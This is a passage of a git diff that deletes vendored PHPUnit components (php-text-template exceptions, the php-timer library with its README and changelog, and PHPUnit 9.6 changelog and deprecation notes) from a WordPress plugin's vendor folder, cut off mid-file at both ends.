throw new RuntimeException( - sprintf( - 'Writing rendered result to "%s" failed', - $target - ) - ); - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-text-template/src/exceptions/Exception.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-text-template/src/exceptions/Exception.php deleted file mode 100644 index d7dc5cbe..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-text-template/src/exceptions/Exception.php +++ /dev/null @@ -1,16 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Template; - -use Throwable; - -interface Exception extends Throwable -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-text-template/src/exceptions/InvalidArgumentException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-text-template/src/exceptions/InvalidArgumentException.php deleted file mode 100644 index 10e1cd11..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-text-template/src/exceptions/InvalidArgumentException.php +++ /dev/null @@ -1,14 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Template; - -final class InvalidArgumentException extends \InvalidArgumentException implements Exception -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-text-template/src/exceptions/RuntimeException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-text-template/src/exceptions/RuntimeException.php deleted file mode 100644 index 131498e6..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-text-template/src/exceptions/RuntimeException.php +++ /dev/null @@ -1,16 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Template; - -use InvalidArgumentException; - -final class RuntimeException extends InvalidArgumentException implements Exception -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-timer/.psalm/baseline.xml b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-timer/.psalm/baseline.xml deleted file mode 100644 index 77e688e0..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-timer/.psalm/baseline.xml +++ /dev/null @@ -1,2 +0,0 @@ - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-timer/.psalm/config.xml b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-timer/.psalm/config.xml deleted file mode 100644 index 15abef05..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-timer/.psalm/config.xml +++ /dev/null @@ -1,16 +0,0 @@ - - - - - - - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-timer/ChangeLog.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-timer/ChangeLog.md deleted file mode 100644 index 34ef7d1d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-timer/ChangeLog.md +++ /dev/null @@ -1,138 +0,0 @@ -# ChangeLog - -All notable changes are documented in this file using the [Keep a CHANGELOG](http://keepachangelog.com/) principles. - -## [5.0.3] - 2020-10-26 - -### Fixed - -* `SebastianBergmann\Timer\Exception` now correctly extends `\Throwable` - -## [5.0.2] - 2020-09-28 - -### Changed - -* Changed PHP version constraint in `composer.json` from `^7.3 || ^8.0` to `>=7.3` - -## [5.0.1] - 2020-06-26 - -### Added - -* This component is now supported on PHP 8 - -## [5.0.0] - 2020-06-07 - -### Changed - -* Parameter type for `SebastianBergmann\Timer\Duration::fromMicroseconds()` was changed from `int` to `float` -* Parameter type for `SebastianBergmann\Timer\Duration::fromNanoseconds()` was changed from `int` to `float` -* Return type for `SebastianBergmann\Timer\Duration::asNanoseconds()` was changed from `int` to `float` - -### Fixed - -* [#31](https://github.com/sebastianbergmann/php-timer/issues/31): Type Error on 32-bit systems (where `hrtime()` returns `float` instead of `int`) - -## [4.0.0] - 2020-06-01 - -### Added - -* Introduced `Duration` value object for encapsulating a duration with nanosecond granularity -* Introduced `ResourceUsageFormatter` object for formatting resource usage with option to explicitly pass a duration (instead of looking at the unreliable `$_SERVER['REQUEST_TIME_FLOAT']` variable) - -### Changed - -* The methods of `Timer` are no longer static -* `Timer::stop()` now returns a `Duration` value object - -### Removed - -* Functionality that is now implemented in `Duration` and `ResourceUsageFormatter` has been removed from `Timer` - -## [3.1.4] - 2020-04-20 - -### Changed - -* `Timer::timeSinceStartOfRequest()` no longer tries `$_SERVER['REQUEST_TIME']` when `$_SERVER['REQUEST_TIME_FLOAT']` is not available (`$_SERVER['REQUEST_TIME_FLOAT']` was added in PHP 5.4 and this library requires PHP 7.3) -* Improved exception messages when `$_SERVER['REQUEST_TIME_FLOAT']` is not set or is not of type `float` - -### Changed - -## [3.1.3] - 2020-04-20 - -### Changed - -* `Timer::timeSinceStartOfRequest()` now raises an exception if `$_SERVER['REQUEST_TIME_FLOAT']` does not contain a `float` (or `$_SERVER['REQUEST_TIME']` does not contain an `int`) - -## [3.1.2] - 2020-04-17 - -### Changed - -* Improved the fix for [#30](https://github.com/sebastianbergmann/php-timer/issues/30) and restored usage of `hrtime()` - -## [3.1.1] - 2020-04-17 - -### Fixed - -* [#30](https://github.com/sebastianbergmann/php-timer/issues/30): Resolution of time returned by `Timer::stop()` is different than before (this reverts using `hrtime()` instead of `microtime()`) - -## [3.1.0] - 2020-04-17 - -### Added - -* `Timer::secondsToShortTimeString()` as alternative to `Timer::secondsToTimeString()` - -### Changed - -* `Timer::start()` and `Timer::stop()` now use `hrtime()` (high resolution monotonic timer) instead of `microtime()` -* `Timer::timeSinceStartOfRequest()` now uses `Timer::secondsToShortTimeString()` for time formatting -* Improved formatting of `Timer::secondsToTimeString()` result - -## [3.0.0] - 2020-02-07 - -### Removed - -* This component is no longer supported on PHP 7.1 and PHP 7.2 - -## [2.1.2] - 2019-06-07 - -### Fixed - -* [#21](https://github.com/sebastianbergmann/php-timer/pull/21): Formatting of memory consumption does not work on 32bit systems - -## [2.1.1] - 2019-02-20 - -### Changed - -* Improved formatting of memory consumption for `resourceUsage()` - -## [2.1.0] - 2019-02-20 - -### Changed - -* Improved formatting of memory consumption for `resourceUsage()` - -## [2.0.0] - 2018-02-01 - -### Changed - -* This component now uses namespaces - -### Removed - -* This component is no longer supported on PHP 5.3, PHP 5.4, PHP 5.5, PHP 5.6, and PHP 7.0 - -[5.0.3]: https://github.com/sebastianbergmann/php-timer/compare/5.0.2...5.0.3 -[5.0.2]: https://github.com/sebastianbergmann/php-timer/compare/5.0.1...5.0.2 -[5.0.1]: https://github.com/sebastianbergmann/php-timer/compare/5.0.0...5.0.1 -[5.0.0]: https://github.com/sebastianbergmann/php-timer/compare/4.0.0...5.0.0 -[4.0.0]: https://github.com/sebastianbergmann/php-timer/compare/3.1.4...4.0.0 -[3.1.4]: https://github.com/sebastianbergmann/php-timer/compare/3.1.3...3.1.4 -[3.1.3]: https://github.com/sebastianbergmann/php-timer/compare/3.1.2...3.1.3 -[3.1.2]: https://github.com/sebastianbergmann/php-timer/compare/3.1.1...3.1.2 -[3.1.1]: https://github.com/sebastianbergmann/php-timer/compare/3.1.0...3.1.1 -[3.1.0]: https://github.com/sebastianbergmann/php-timer/compare/3.0.0...3.1.0 -[3.0.0]: https://github.com/sebastianbergmann/php-timer/compare/2.1.2...3.0.0 -[2.1.2]: https://github.com/sebastianbergmann/php-timer/compare/2.1.1...2.1.2 -[2.1.1]: https://github.com/sebastianbergmann/php-timer/compare/2.1.0...2.1.1 -[2.1.0]: https://github.com/sebastianbergmann/php-timer/compare/2.0.0...2.1.0 -[2.0.0]: https://github.com/sebastianbergmann/php-timer/compare/1.0.9...2.0.0 diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-timer/LICENSE b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-timer/LICENSE deleted file mode 100644 index 4193d8ae..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-timer/LICENSE +++ /dev/null @@ -1,33 +0,0 @@ -phpunit/php-timer - -Copyright (c) 2010-2020, Sebastian Bergmann . -All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions -are met: - - * Redistributions of source code must retain the above copyright - notice, this list of conditions and the following disclaimer. - - * Redistributions in binary form must reproduce the above copyright - notice, this list of conditions and the following disclaimer in - the documentation and/or other materials provided with the - distribution. - - * Neither the name of Sebastian Bergmann nor the names of his - contributors may be used to endorse or promote products derived - from this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS -FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE -COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, -INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, -BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER -CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT -LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN -ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -POSSIBILITY OF SUCH DAMAGE. diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-timer/README.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-timer/README.md deleted file mode 100644 index a7d1e70d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-timer/README.md +++ /dev/null @@ -1,104 +0,0 @@ -# phpunit/php-timer - -[![CI Status](https://github.com/sebastianbergmann/php-timer/workflows/CI/badge.svg)](https://github.com/sebastianbergmann/php-timer/actions) -[![Type Coverage](https://shepherd.dev/github/sebastianbergmann/php-timer/coverage.svg)](https://shepherd.dev/github/sebastianbergmann/php-timer) - -Utility class for timing things, factored out of PHPUnit into a stand-alone component. - -## Installation - -You can add this library as a local, per-project dependency to your project using [Composer](https://getcomposer.org/): - -``` -composer require phpunit/php-timer -``` - -If you only need this library during development, for instance to run your project's test suite, then you should add it as a development-time dependency: - -``` -composer require --dev phpunit/php-timer -``` - -## Usage - -### Basic Timing - -```php -require __DIR__ . '/vendor/autoload.php'; - -use SebastianBergmann\Timer\Timer; - -$timer = new Timer; - -$timer->start(); - -foreach (\range(0, 100000) as $i) { - // ... -} - -$duration = $timer->stop(); - -var_dump(get_class($duration)); -var_dump($duration->asString()); -var_dump($duration->asSeconds()); -var_dump($duration->asMilliseconds()); -var_dump($duration->asMicroseconds()); -var_dump($duration->asNanoseconds()); -``` - -The code above yields the output below: - -``` -string(32) "SebastianBergmann\Timer\Duration" -string(9) "00:00.002" -float(0.002851062) -float(2.851062) -float(2851.062) -int(2851062) -``` - -### Resource Consumption - -#### Explicit duration - -```php -require __DIR__ . '/vendor/autoload.php'; - -use SebastianBergmann\Timer\ResourceUsageFormatter; -use SebastianBergmann\Timer\Timer; - -$timer = new Timer; -$timer->start(); - -foreach (\range(0, 100000) as $i) { - // ... -} - -print (new ResourceUsageFormatter)->resourceUsage($timer->stop()); -``` - -The code above yields the output below: - -``` -Time: 00:00.002, Memory: 6.00 MB -``` - -#### Duration since PHP Startup (using unreliable `$_SERVER['REQUEST_TIME_FLOAT']`) - -```php -require __DIR__ . '/vendor/autoload.php'; - -use SebastianBergmann\Timer\ResourceUsageFormatter; - -foreach (\range(0, 100000) as $i) { - // ... -} - -print (new ResourceUsageFormatter)->resourceUsageSinceStartOfRequest(); -``` - -The code above yields the output below: - -``` -Time: 00:00.002, Memory: 6.00 MB -``` diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-timer/composer.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-timer/composer.json deleted file mode 100644 index 001701c2..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-timer/composer.json +++ /dev/null @@ -1,45 +0,0 @@ -{ - "name": "phpunit/php-timer", - "description": "Utility class for timing", - "type": "library", - "keywords": [ - "timer" - ], - "homepage": "https://github.com/sebastianbergmann/php-timer/", - "license": "BSD-3-Clause", - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de", - "role": "lead" - } - ], - "support": { - "issues": "https://github.com/sebastianbergmann/php-timer/issues" - }, - "prefer-stable": true, - "require": { - "php": ">=7.3" - }, - "require-dev": { - "phpunit/phpunit": "^9.3" - }, - "config": { - "platform": { - "php": "7.3.0" - }, - "optimize-autoloader": true, - "sort-packages": true - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "extra": { - "branch-alias": { - "dev-master": "5.0-dev" - } - } -} - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-timer/src/Duration.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-timer/src/Duration.php deleted file mode 100644 index e52bf018..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-timer/src/Duration.php +++ /dev/null @@ -1,109 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Timer; - -use function floor; -use function sprintf; - -/** - * @psalm-immutable - */ -final class Duration -{ - /** - * @var float - */ - private $nanoseconds; - - /** - * @var int - */ - private $hours; - - /** - * @var int - */ - private $minutes; - - /** - * @var int - */ - private $seconds; - - /** - * @var int - */ - private $milliseconds; - - public static function fromMicroseconds(float $microseconds): self - { - return new self($microseconds * 1000); - } - - public static function fromNanoseconds(float $nanoseconds): self - { - return new self($nanoseconds); - } - - private function __construct(float $nanoseconds) - { - $this->nanoseconds = $nanoseconds; - $timeInMilliseconds = $nanoseconds / 1000000; - $hours = floor($timeInMilliseconds / 60 / 60 / 1000); - $hoursInMilliseconds = $hours * 60 * 60 * 1000; - $minutes = floor($timeInMilliseconds / 60 / 1000) % 60; - $minutesInMilliseconds = $minutes * 60 * 1000; - $seconds = floor(($timeInMilliseconds - $hoursInMilliseconds - $minutesInMilliseconds) / 1000); - $secondsInMilliseconds = $seconds * 1000; - $milliseconds = $timeInMilliseconds - $hoursInMilliseconds - $minutesInMilliseconds - $secondsInMilliseconds; - $this->hours = (int) $hours; - $this->minutes = $minutes; - $this->seconds = (int) $seconds; - $this->milliseconds = (int) $milliseconds; - } - - public function asNanoseconds(): float - { - return $this->nanoseconds; - } - - public function asMicroseconds(): float - { - return $this->nanoseconds / 1000; - } - - public function asMilliseconds(): float - { - return $this->nanoseconds / 1000000; - } - - public function asSeconds(): float - { - return $this->nanoseconds / 1000000000; - } - - public function asString(): string - { - $result = ''; - - if ($this->hours > 0) { - $result = sprintf('%02d', $this->hours) . ':'; - } - - $result .= sprintf('%02d', $this->minutes) . ':'; - $result .= sprintf('%02d', $this->seconds); - - if ($this->milliseconds > 0) { - $result .= '.' . sprintf('%03d', $this->milliseconds); - } - - return $result; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-timer/src/ResourceUsageFormatter.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-timer/src/ResourceUsageFormatter.php deleted file mode 100644 index ad792627..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-timer/src/ResourceUsageFormatter.php +++ /dev/null @@ -1,73 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Timer; - -use function is_float; -use function memory_get_peak_usage; -use function microtime; -use function sprintf; - -final class ResourceUsageFormatter -{ - /** - * @psalm-var array - */ - private const SIZES = [ - 'GB' => 1073741824, - 'MB' => 1048576, - 'KB' => 1024, - ]; - - public function resourceUsage(Duration $duration): string - { - return sprintf( - 'Time: %s, Memory: %s', - $duration->asString(), - $this->bytesToString(memory_get_peak_usage(true)) - ); - } - - /** - * @throws TimeSinceStartOfRequestNotAvailableException - */ - public function resourceUsageSinceStartOfRequest(): string - { - if (!isset($_SERVER['REQUEST_TIME_FLOAT'])) { - throw new TimeSinceStartOfRequestNotAvailableException( - 'Cannot determine time at which the request started because $_SERVER[\'REQUEST_TIME_FLOAT\'] is not available' - ); - } - - if (!is_float($_SERVER['REQUEST_TIME_FLOAT'])) { - throw new TimeSinceStartOfRequestNotAvailableException( - 'Cannot determine time at which the request started because $_SERVER[\'REQUEST_TIME_FLOAT\'] is not of type float' - ); - } - - return $this->resourceUsage( - Duration::fromMicroseconds( - (1000000 * (microtime(true) - $_SERVER['REQUEST_TIME_FLOAT'])) - ) - ); - } - - private function bytesToString(int $bytes): string - { - foreach (self::SIZES as $unit => $value) { - if ($bytes >= $value) { - return sprintf('%.2f %s', $bytes >= 1024 ? $bytes / $value : $bytes, $unit); - } - } - - // @codeCoverageIgnoreStart - return $bytes . ' byte' . ($bytes !== 1 ? 's' : ''); - // @codeCoverageIgnoreEnd - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-timer/src/Timer.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-timer/src/Timer.php deleted file mode 100644 index 0917109b..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-timer/src/Timer.php +++ /dev/null @@ -1,40 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Timer; - -use function array_pop; -use function hrtime; - -final class Timer -{ - /** - * @psalm-var list - */ - private $startTimes = []; - - public function start(): void - { - $this->startTimes[] = (float) hrtime(true); - } - - /** - * @throws NoActiveTimerException - */ - public function stop(): Duration - { - if (empty($this->startTimes)) { - throw new NoActiveTimerException( - 'Timer::start() has to be called before Timer::stop()' - ); - } - - return Duration::fromNanoseconds((float) hrtime(true) - array_pop($this->startTimes)); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-timer/src/exceptions/Exception.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-timer/src/exceptions/Exception.php deleted file mode 100644 index 996da086..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-timer/src/exceptions/Exception.php +++ /dev/null @@ -1,16 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Timer; - -use Throwable; - -interface Exception extends Throwable -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-timer/src/exceptions/NoActiveTimerException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-timer/src/exceptions/NoActiveTimerException.php deleted file mode 100644 index 40fe45e8..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-timer/src/exceptions/NoActiveTimerException.php +++ /dev/null @@ -1,16 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Timer; - -use LogicException; - -final class NoActiveTimerException extends LogicException implements Exception -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-timer/src/exceptions/TimeSinceStartOfRequestNotAvailableException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-timer/src/exceptions/TimeSinceStartOfRequestNotAvailableException.php deleted file mode 100644 index a2d94ce8..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-timer/src/exceptions/TimeSinceStartOfRequestNotAvailableException.php +++ /dev/null @@ -1,16 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Timer; - -use RuntimeException; - -final class TimeSinceStartOfRequestNotAvailableException extends RuntimeException implements Exception -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/ChangeLog-9.6.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/ChangeLog-9.6.md deleted file mode 100644 index b8ce54eb..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/ChangeLog-9.6.md +++ /dev/null @@ -1,187 +0,0 @@ -# Changes in PHPUnit 9.6 - -All notable changes of the PHPUnit 9.6 release series are documented in this file using the [Keep a CHANGELOG](https://keepachangelog.com/) principles. - -## [9.6.22] - 2024-12-05 - -### Fixed - -* [#6071](https://github.com/sebastianbergmann/phpunit/issues/6071): PHP Archives (PHARs) of PHPUnit 8.5 and PHPUnit 9.6 bundle outdated versions of Prophecy - -## [9.6.21] - 2024-09-19 - -### Changed - -* [#5956](https://github.com/sebastianbergmann/phpunit/issues/5956): Deprecation of the `E_STRICT` constant in PHP 8.4 -* Removed `.phpstorm.meta.php` file as methods such as `TestCase::createStub()` use generics / template types for their return types and PhpStorm, for example, uses that information - -## [9.6.20] - 2024-07-10 - -### Changed - -* Updated dependencies (so that users that install using Composer's `--prefer-lowest` CLI option also get recent versions) - -## [9.6.19] - 2024-04-05 - -### Changed - -* The namespaces of dependencies are now prefixed with `PHPUnitPHAR` instead of just `PHPUnit` for the PHAR distribution of PHPUnit - -## [9.6.18] - 2024-03-21 - -### Changed - -* [#5763](https://github.com/sebastianbergmann/phpunit/issues/5763): Release nullable type changes for PHPUnit 9.6 - -## [9.6.17] - 2024-02-23 - -### Changed - -* Improve output of `--check-version` CLI option -* Improve description of `--check-version` CLI option -* Show help for `--manifest`, `--sbom`, and `--composer-lock` when the PHAR is used - -### Fixed - -* [#5712](https://github.com/sebastianbergmann/phpunit/issues/5712): Update dependencies for PHAR distribution of PHPUnit 9.6 - -## [9.6.16] - 2024-01-19 - -### Changed - -* Make PHAR build reproducible (the only remaining differences were in the timestamps for the files in the PHAR) - -### Fixed - -* [#5516](https://github.com/sebastianbergmann/phpunit/issues/5516): Assertions that use the `LogicalNot` constraint (`assertNotEquals()`, `assertStringNotContainsString()`, ...) can generate confusing failure messages -* [#5666](https://github.com/sebastianbergmann/phpunit/issues/5666): `--no-extensions` CLI option does not work -* [#5673](https://github.com/sebastianbergmann/phpunit/issues/5673): Confusing error message when migration of a configuration is requested that does not need to be migrated - -## [9.6.15] - 2023-12-01 - -### Fixed - -* [#5596](https://github.com/sebastianbergmann/phpunit/issues/5596): `PHPUnit\Framework\TestCase` has `@internal` annotation in PHAR - -## [9.6.14] - 2023-12-01 - -### Added - -* [#5577](https://github.com/sebastianbergmann/phpunit/issues/5577): `--composer-lock` CLI option for PHAR binary that displays the `composer.lock` used to build the PHAR - -## [9.6.13] - 2023-09-19 - -### Changed - -* The child processes used for process isolation now use temporary files to communicate their result to the parent process - -## [9.6.12] - 2023-09-12 - -### Changed - -* [#5508](https://github.com/sebastianbergmann/phpunit/pull/5508): Generate code coverage report in PHP format as first in list to avoid serializing cache data - -## [9.6.11] - 2023-08-19 - -### Added - -* [#5478](https://github.com/sebastianbergmann/phpunit/pull/5478): `assertObjectHasProperty()` and `assertObjectNotHasProperty()` - -## [9.6.10] - 2023-07-10 - -### Changed - -* [#5419](https://github.com/sebastianbergmann/phpunit/pull/5419): Allow empty `` element in XML configuration - -## [9.6.9] - 2023-06-11 - -### Fixed - -* [#5405](https://github.com/sebastianbergmann/phpunit/issues/5405): XML configuration migration does not migrate `whitelist/file` elements -* Always use `X.Y.Z` version number (and not just `X.Y`) of PHPUnit's version when checking whether a PHAR-distributed extension is compatible - -## [9.6.8] - 2023-05-11 - -### Fixed - -* [#5345](https://github.com/sebastianbergmann/phpunit/issues/5345): No stack trace shown for previous exceptions during bootstrap - -## [9.6.7] - 2023-04-14 - -### Fixed - -* Tests that have `@doesNotPerformAssertions` do not contribute to code coverage - -## [9.6.6] - 2023-03-27 - -### Fixed - -* [#5270](https://github.com/sebastianbergmann/phpunit/issues/5270): `GlobalState::getIniSettingsAsString()` generates code that triggers warnings - -## [9.6.5] - 2023-03-09 - -### Changed - -* Backported the HTML and CSS improvements made to the `--testdox-html` from PHPUnit 10 - -### Fixed - -* [#5205](https://github.com/sebastianbergmann/phpunit/issues/5205): Wrong default value for optional parameter of `PHPUnit\Util\Test::parseTestMethodAnnotations()` causes `ReflectionException` - -## [9.6.4] - 2023-02-27 - -### Fixed - -* [#5186](https://github.com/sebastianbergmann/phpunit/issues/5186): SBOM does not validate - -## [9.6.3] - 2023-02-04 - -### Fixed - -* [#5164](https://github.com/sebastianbergmann/phpunit/issues/5164): `markTestSkipped()` not handled correctly when called in "before first test" method - -## [9.6.2] - 2023-02-04 - -### Fixed - -* [#4618](https://github.com/sebastianbergmann/phpunit/issues/4618): Support for generators in `assertCount()` etc. is not marked as deprecated in PHPUnit 9.6 - -## [9.6.1] - 2023-02-03 - -### Fixed - -* [#5073](https://github.com/sebastianbergmann/phpunit/issues/5073): `--no-extensions` CLI option only prevents extension PHARs from being loaded -* [#5160](https://github.com/sebastianbergmann/phpunit/issues/5160): Deprecate `assertClassHasAttribute()`, `assertClassNotHasAttribute()`, `assertClassHasStaticAttribute()`, `assertClassNotHasStaticAttribute()`, `assertObjectHasAttribute()`, `assertObjectNotHasAttribute()`, `classHasAttribute()`, `classHasStaticAttribute()`, and `objectHasAttribute()` - -## [9.6.0] - 2023-02-03 - -### Changed - -* [#5062](https://github.com/sebastianbergmann/phpunit/issues/5062): Deprecate `expectDeprecation()`, `expectDeprecationMessage()`, `expectDeprecationMessageMatches()`, `expectError()`, `expectErrorMessage()`, `expectErrorMessageMatches()`, `expectNotice()`, `expectNoticeMessage()`, `expectNoticeMessageMatches()`, `expectWarning()`, `expectWarningMessage()`, and `expectWarningMessageMatches()` -* [#5063](https://github.com/sebastianbergmann/phpunit/issues/5063): Deprecate `withConsecutive()` -* [#5064](https://github.com/sebastianbergmann/phpunit/issues/5064): Deprecate `PHPUnit\Framework\TestCase::getMockClass()` -* [#5132](https://github.com/sebastianbergmann/phpunit/issues/5132): Deprecate `Test` suffix for abstract test case classes - -[9.6.22]: https://github.com/sebastianbergmann/phpunit/compare/9.6.21...9.6.22 -[9.6.21]: https://github.com/sebastianbergmann/phpunit/compare/9.6.20...9.6.21 -[9.6.20]: https://github.com/sebastianbergmann/phpunit/compare/9.6.19...9.6.20 -[9.6.19]: https://github.com/sebastianbergmann/phpunit/compare/9.6.18...9.6.19 -[9.6.18]: https://github.com/sebastianbergmann/phpunit/compare/9.6.17...9.6.18 -[9.6.17]: https://github.com/sebastianbergmann/phpunit/compare/9.6.16...9.6.17 -[9.6.16]: https://github.com/sebastianbergmann/phpunit/compare/9.6.15...9.6.16 -[9.6.15]: https://github.com/sebastianbergmann/phpunit/compare/9.6.14...9.6.15 -[9.6.14]: https://github.com/sebastianbergmann/phpunit/compare/9.6.13...9.6.14 -[9.6.13]: https://github.com/sebastianbergmann/phpunit/compare/9.6.12...9.6.13 -[9.6.12]: https://github.com/sebastianbergmann/phpunit/compare/9.6.11...9.6.12 -[9.6.11]: https://github.com/sebastianbergmann/phpunit/compare/9.6.10...9.6.11 -[9.6.10]: https://github.com/sebastianbergmann/phpunit/compare/9.6.9...9.6.10 -[9.6.9]: https://github.com/sebastianbergmann/phpunit/compare/9.6.8...9.6.9 -[9.6.8]: https://github.com/sebastianbergmann/phpunit/compare/9.6.7...9.6.8 -[9.6.7]: https://github.com/sebastianbergmann/phpunit/compare/9.6.6...9.6.7 -[9.6.6]: https://github.com/sebastianbergmann/phpunit/compare/9.6.5...9.6.6 -[9.6.5]: https://github.com/sebastianbergmann/phpunit/compare/9.6.4...9.6.5 -[9.6.4]: https://github.com/sebastianbergmann/phpunit/compare/9.6.3...9.6.4 -[9.6.3]: https://github.com/sebastianbergmann/phpunit/compare/9.6.2...9.6.3 -[9.6.2]: https://github.com/sebastianbergmann/phpunit/compare/9.6.1...9.6.2 -[9.6.1]: https://github.com/sebastianbergmann/phpunit/compare/9.6.0...9.6.1 -[9.6.0]: https://github.com/sebastianbergmann/phpunit/compare/9.5.28...9.6.0 diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/DEPRECATIONS.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/DEPRECATIONS.md deleted file mode 100644 index b8349592..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/DEPRECATIONS.md +++ /dev/null @@ -1,89 +0,0 @@ -# Deprecations - -## Soft Deprecations - -This functionality is currently [soft-deprecated](https://phpunit.de/backward-compatibility.html#soft-deprecation): - -### Writing Tests - -#### Test Double API - -| Issue | Description | Since | Replacement | -|-------------------------------------------------------------------|-----------------------------------|-------|-------------| -| 